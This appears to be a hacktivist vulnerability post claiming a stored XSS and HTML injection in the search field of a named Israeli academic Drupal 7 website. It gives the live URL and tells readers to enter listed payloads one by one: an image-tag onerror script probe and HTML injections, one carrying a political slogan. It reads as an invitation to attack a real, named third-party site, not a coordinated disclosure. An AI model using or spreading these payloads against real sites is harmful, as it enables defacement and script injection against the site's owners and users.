[zozivuln]

ISRAELI WEBSITE CMS Drupal v7 Affaccted STORED XSS AND HTML INJECTION:

https://roads2words.iucc.ac.il/words/search/  put payloads 1 by 1 on search input

[img]blob:https://www.facebook.com/f4fa88c8-2a48-4b98-bbc9-c0b65dfacd10[/img]Payload used:

444=><Img Src=OnXSS OnError=prompt(1)>
444=><u> INJECTION </u>
<font color="green">FREE PALESTINE SAVEGAZA;

FREE PALESTINE

  ​​​​​​​ ​​​​​​​ ​​​​​​​